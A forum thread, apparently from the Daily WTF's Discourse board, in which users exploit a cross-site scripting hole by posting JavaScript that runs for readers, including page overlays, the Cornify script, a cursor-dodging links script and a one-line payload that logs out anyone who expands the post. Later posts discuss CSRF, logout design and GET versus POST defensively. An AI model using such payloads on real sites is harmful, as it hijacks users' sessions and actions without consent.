In which @ben_lubar possibly asks for and is awarded an XSS :badger:


  • Winner of the 2016 Presidential Election

    Success!!

    So for Christmascorn fun, expand all of these (and don't forget to click the cornify button!):

    @Dreikin said:

    <span style="color:inherit;position:fixed;top:0px;bottom:0px;left:0px;right:0px;pointer-events:none;border:112px solid transparent;border-image:url(http://i.imgur.com/Hal1YlJ.png) 112 113 114 112 round;background:rgba(64,128,64,0.25);display:none;display:block;"></span>

    @Dreikin said:

    <span style="color:inherit;positio\00006e:fixed;top:0px;bottom:0px;left:0px;right:0px;pointer-events:none;background-image:url(http://i.imgur.com/BVyK9dI.gif);background-size:cover;display:none;\000064isplay:block;"></span>

    @Dreikin said:

    <span title="click me!" onclick="cornify_add();return false;"><img src="http://www.cornify.com/assets/cornify.gif" width="61" height="16" border="0" alt="Cornify" /></span><script type="text/javascript">var cornify_count=0,cornify_add=function(){cornify_count+=1;var e="http://www.cornify.com/",t=document.createElement("div");t.style.position="fixed";var n="px",o=.75Math.random(),r=768,i=1024,c=0,a=document.documentElement;"number"==typeof window.innerHeight?(r=window.innerHeight,i=window.innerWidth):a&&a.clientHeight?(r=a.clientHeight,i=a.clientWidth):(n="%",c=Math.round(100c)+"%"),t.onclick=cornify_add,t.style.zIndex=10,t.style.outline=0,15==cornify_count?(t.style.top=Math.max(0,Math.round((r-530)/2))+"px",t.style.left=Math.round((i-530)/2)+"px",t.style.zIndex=1e3):(t.style.top="px"==n?Math.round(ro)+n:c,t.style.left=Math.round(90Math.random())+"%");var l=document.createElement("img"),d=new Date,u=d.getTime();15==cornify_count&&(u=0),l.setAttribute("src",e+"getacorn.php?r="+u+"&url="+document.location.href);var m="all .1s linear";t.style.WebkitTransition=m,t.style.WebkitTransform="rotate(1deg) scale(1.01,1.01)",t.style.transition="all .1s linear",t.onmouseover=function(){var e=1+Math.round(10Math.random())/100,t=Math.round(20Math.random()-10),n="rotate("+t+"deg) scale("+e+","+e+")";this.style.transform=n,this.style.WebkitTransform=n},t.onmouseout=function(){var e=.9+Math.round(10Math.random())/100,t=Math.round(6Math.random()-3),n="rotate("+t+"deg) scale("+e+","+e+")";this.style.transform=n,this.style.WebkitTransform=n};var s=document.getElementsByTagName("body")[0];if(s.appendChild(t),t.appendChild(l),5==cornify_count){var y=document.getElementById("cornify_css");if(!y){var f=document.getElementsByTagName("head")[0],p=document.createElement("link");p.id="cornify_css",p.type="text/css",p.rel="stylesheet",p.href="http://www.cornify.com/css/cornify.css",p.media="screen",f.appendChild(p)}cornify_replace()}cornify_updatecount()},cornify_updatecount=function(){var e=document.getElementById("cornifycount");if(null==e){var e=document.createElement("p");e.id="cornifycount",e.style.position="fixed",e.style.top="0px",e.style.left="0px",e.style.right="0px",e.style.zIndex="1000000000",e.style.color="#ff00ff",e.style.textAlign="center",e.style.fontSize="24px",e.style.fontFamily="'Comic Sans MS', 'Comic Sans', 'Marker Felt', serif";var t=document.getElementsByTagName("body")[0];t.appendChild(e)}e.innerHTML=1==cornify_count?cornify_count+" UNICORN OR RAINBOW CREATED":cornify_count+" UNICORNS & RAINBOWS CREATED",cornify_setcookie("cornify",cornify_count+"",1e3)},cornify_setcookie=function(e,t,n){var o=new Date;o.setTime(o.getTime()+24n60601e3);var r="expires="+o.toGMTString();document.cookie=e+"="+t+"; "+r},cornify_getcookie=function(e){for(var t=e+"=",n=document.cookie.split(";"),o=0;n.length>o;o++){var r=n[o].trim();if(0==r.indexOf(t))return r.substring(t.length,r.length)}return""};cornify_count=parseInt(cornify_getcookie("cornify")),isNaN(cornify_count)&&(cornify_count=0);var cornify_replace=function(){for(var e,t,n,o=6,r=["Happy","Sparkly","Glittery","Fun","Magical","Lovely","Cute","Charming","Amazing","Wonderful"];o>=1;){for(e=document.getElementsByTagName("h"+o),n=0;e.length>n;n++)t=e[n],t.innerHTML=r[Math.floor(Math.random()*r.length)]+" "+t.innerHTML;o-=1}},cornami={input:"",pattern:"38384040373937396665",clear:setTimeout("cornami.clear_input()",5e3),load:function(){window.document.onkeydown=function(e){return cornami.input==cornami.pattern?(cornify_add(),void clearTimeout(cornami.clear)):(cornami.input+=e?e.keyCode:event.keyCode,cornami.input==cornami.pattern&&cornify_add(),clearTimeout(cornami.clear),cornami.clear=setTimeout("cornami.clear_input()",5e3),void 0)}},clear_input:function(){cornami.input="",clearTimeout(cornami.clear)}};cornami.load();</script>


  • Winner of the 2016 Presidential Election

    Demo:



  • Bookmarked. These will go onto the uni's course management system tomorrow (no time today).



  • The background's top should be 63px, not 0px, and the foregroundboth should have z-index:100. Otherwise, you are awesome!



  • This post is deleted!


  • Derailing slightly, but does discourse not offer a way to edit your posts if you manage to fuck up posting? If it does, it is literally the least obvious thing I have ever come across...



  • This should be a feature to be honest.

    Well that didn't work at all



  • Click the grey pencil icon beneath right beneath your post.



  • That was what I was expecting, but could not see. It now appears to be there though, so might have just been me being a blind moron...



  • Hmm...

    <script>var o=new MutationObserver((function(){console.log("inspecting page");[].forEach.call(document.querySelectorAll("a,button,img"),b=>b.addEventListener("mousemove",e=>{var b=e.target,x=e.layerX-b.offsetLeft,y=e.layerY-b.offsetTop,h=b.offsetHeight,w=b.offsetWidth;b.style.width=w+"px";b.style.height=h+"px";b.style.left=(b.style.left?parseInt(b.style.left):b.offsetLeft)+(x>w/2?w-x:x)+"px";b.style.top=(b.style.top?parseInt(b.style.top):b.offsetTop)+(y>h/2?h-y:y)+"px";b.style.position="absolute";b.style.width=2w-b.offsetWidth+"px";b.style.height=2h-b.offsetHeight+"px"}));return arguments.callee})());o.observe(document.body,{childList:true,characterData:true,subTree:true})</script>



  • @anotherusername said:

    <script>var o=new MutationObserver((function(){console.log("inspecting page");[].forEach.call(document.querySelectorAll("a,button,img"),b=>b.addEventListener("mousemove",e=>{var b=e.target,x=e.layerX-b.offsetLeft,y=e.layerY-b.offsetTop,h=b.offsetHeight,w=b.offsetWidth;b.style.width=w+"px";b.style.height=h+"px";b.style.left=(b.style.left?parseInt(b.style.left):b.offsetLeft)+(x>w/2?w-x:x)+"px";b.style.top=(b.style.top?parseInt(b.style.top):b.offsetTop)+(y>h/2?h-y:y)+"px";b.style.position="absolute";b.style.width=2w-b.offsetWidth+"px";b.style.height=2h-b.offsetHeight+"px"}));return arguments.callee})());o.observe(document.body,{childList:true,characterData:true,subTree:true})</script>

    ?

    Okay... I can get it to work once, but I can't seem to get the MutationObserver to watch the page so that all the AJAX'd updates get mutated...



  • I'm actually going to ask a relatively serious question here. I ask in innocence mostly because I've only started learning web development recently but isn't XSS mostly a solved problem. I had to write a simple comments section for an internal webpage that took html as an input. The first thing I realized was that if I allowed all html elements to be used it could lead to a very wonky page. So I do a little research and lo and behold I find a library that strips out everything but the basic 5 or 6 elements for the user and as an added bonus closes the html tags properly. I feel that I'm either very naive or Jeff has reinvented the wheel again.



  • That is genius. I didn't think it had worked until I started getting confused about what was going on with buttons...



  • Writing the escaping code isn't (really) the hard part (although you really should be using a trusted API instead of rolling your own), it's remembering to do the escaping.

    Same thing with any other widespread vulnerability (e.g SQL injection)



  • <script>Discourse.User.logout();setTimeout(location.reload.bind(location),1e3)</script>



  • Expand to logout:

    @anotherusername said:

    <script>Discourse.User.logout();setTimeout(location.reload.bind(location),1e3)</script>


  • Winner of the 2016 Presidential Election

    @anotherusername said:

    Expand to logout:

    Heh, I thought of doing that last night, but decided to go to sleep instead. Nice to see it done1 (and by someone more competent than me to do it).

    Perhaps someone should let the good people over at meta.d know about this potential solution to their problem?

    1: I'm just assuming it works, not bothering to click it.



  • @Dreikin said:

    1: I'm just assuming it works, not bothering to click it.

    It does... actually logs you out of all devices, not just the one you're using.



  • OOOOoooooooooooooooh someone is having fun.

    Just out of curiosity can you point me to a book on how to avoid this happening in software I have to write?



  • @DogsB said:

    can you point me to a book on how to avoid this happening in software I have to write?

    No. But I can give you this:

    Basically, if Discourse never ran my Javascript, that wouldn't happen. And it's really a pretty large security hole; I could do much more malicious stuff than simply log you out; theoretically I could probably hijack your session and do very nearly anything I want, as you. Just the appropriate Javascript to run some AJAX and a better working knowledge of how Discourse works...

    Also... since we're talking about logging out... a simple GET /cgi-bin/logout.cgi isn't a very good logout method either. If somebody embeds <img src="http://example.com/cgi-bin/logout.cgi">, trying to load the image probably shouldn't log users out, but lots of websites are susceptible to this. If there's a logout URL, it should check the referer header and any applicable cookies that would exist in an actual logged-in user's session.



  • @anotherusername said:

    Basically, if Discourse never ran my Javascript, that wouldn't happen. And it's really a pretty large security hole; I could do much more malicious stuff than simply log you out; theoretically I could probably hijack your session and do very nearly anything I want, as you. Just the appropriate Javascript to run some AJAX and a better working knowledge of how Discourse works...

    Also... since we're talking about logging out... a simple GET /cgi-bin/logout.cgi isn't a very good logout method either. If somebody embeds <img src="http://example.com/cgi-bin/logout.cgi">, trying to load the image probably shouldn't log users out, but lots of websites are susceptible to this. If there's a logout URL, it should check the referer header and any applicable cookies that would exist in an actual logged-in user's session.

    Hopefully I'll never have to write something like Discourse but it bothers me that Jeff, after his experience with Stack Overflow, has developed software that can be broken so badly and so exposed to what ever shenanigans you're doing. He shouldn't be making these kinds of mistakes. I should be because I know fuck all about anything web related. I always found it funny that ye were doing free QA for him but he just shat all over it.


  • I survived the hour long Uno hand

    @anotherusername said:

    If there's a logout URL, it should check the referer header and any applicable cookies that would exist in an actual logged-in user's session.

    Not a book either, but more information:



  • Or in this particular case: https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)

    @anotherusername said:

    If there's a logout URL, it should check [...] any applicable cookies that would exist in an actual logged-in user's session.
    The user is an actual logged-in user. If it weren't there would not be any cookie.
    Unless the user is being referred by a URL parameter, which would be all sorts of redundant and stupid.



  • @Zecc said:

    The user is an actual logged-in user. If it weren't there would not be any cookie.

    Well, yes... I mean, if instead of GET /cgi-bin/logout.cgi you used a logout URL like GET /cgi-bin/logout.cgi?sid=a5ad0b2feb07d8e6 (POST would work just as well) and stored a unique session ID in a cookie when they logged in. The logout script will need to check the user's session ID in 3 places: the GET parameter, their cookie, and in the session on the server. If all 3 of those are the same, the request is valid and the user can be logged out. Cross-site requests won't be able to set the correct token in the URL because they won't be able to access the cookie, so cross-site request forgery can't be used to log the user out.

    @Zecc said:

    Unless the user is being referred by a URL parameter, which would be all sorts of redundant and stupid.

    Discourse uses DELETE /session/[username]... it's not a GET request, but it does reference the user by the URL...



  • @anotherusername said:

    theoretically I could probably hijack your session and do very nearly anything I want

    Aren't there still one or two of @darkmatter's puppets about?



  • You typically do not use GET for any action that manipulates server state to prevent crawlers from performing actions. I think there's been an article on that - something about 'delete this article' links which were GET and display:none for normal users?

    If you use POST (and actually verify that on the server), in combination with anti-CORS stuff you get for free nowadays, you are protected against at least the simplest of XSS attacks against your site.



  • Yeah, http://thedailywtf.com/articles/The_Spider_of_Doom, although in that case their problem was compounded by having stupid user authentication that only existed in the client-side Javascript.

    Although, some browsers are configured to prefetch links, so having links do things server-side with GET is still a bad idea even if you don't send them to (or accept them from) non-authenticated users.

    In general, POST is safer.



  • @anotherusername said:

    Basically, if Discourse never ran my Javascript, that wouldn't happen. And it's really a pretty large security hole; I could do much more malicious stuff than simply log you out; theoretically I could probably hijack your session and do very nearly anything I want, as you. Just the appropriate Javascript to run some AJAX and a better working knowledge of how Discourse works...

    So take over @wood's account and delete him already... :stuck_out_tongue:



  • @redwizard said:

    So take over @wood's account and delete him already... :stuck_out_tongue:

    Out of academic interest: would it be possible to make @wood ban himself using this XSS?



  • Doesn't work that way; it'd have to be the person who expanded the post.

    Although, if the person who expanded the post was a mod...



  • @anotherusername said:

    Cross-site requests won't be able to set the correct token in the URL

    Right. I didn't think you could put the CSRF token in the URL. I mean, I knew you could, it just... feels dirty. That thing might be left in the user's history and server's logs.

    Discourse puts in a request header because it's ajaxy. Is it even possible to log out of Discourse with Javascript disabled? (not that it matters, because you can't log in without it)



  • @Zecc said:

    I didn't think you could put the CSRF token in the URL. I mean, I knew you could, it just... feels dirty. That thing might be left in the user's history and server's logs.

    Pretty much any other action you'd want to use POST, because replay attacks and even just accidental stuff like reopening a link from history. But you could get away with it for logging out... the logout link is only good to log out that unique session, and once it's logged out there's nothing you can replay anyway.

    @Zecc said:

    Discourse puts in a request header because it's ajaxy. Is it even possible to log out of Discourse with Javascript disabled? (not that it matters, because you can't log in without it)

    No, AFAIK it's not possible to get a browser to send an HTTP DELETE request without using XMLHttpRequest. Unless there's an alternate way for non-javascript users to log out, but if there's no alternate way for them to log in then I don't see why they'd do that.



  • @DogsB said:

    He shouldn't be making these kinds of mistakes.

    But at least a post can't be empty.



  • This topic was automatically closed after 14 days. New replies are no longer allowed.


Log in to reply
 

Looks like your connection to What the Daily WTF? was lost, please wait while we try to reconnect.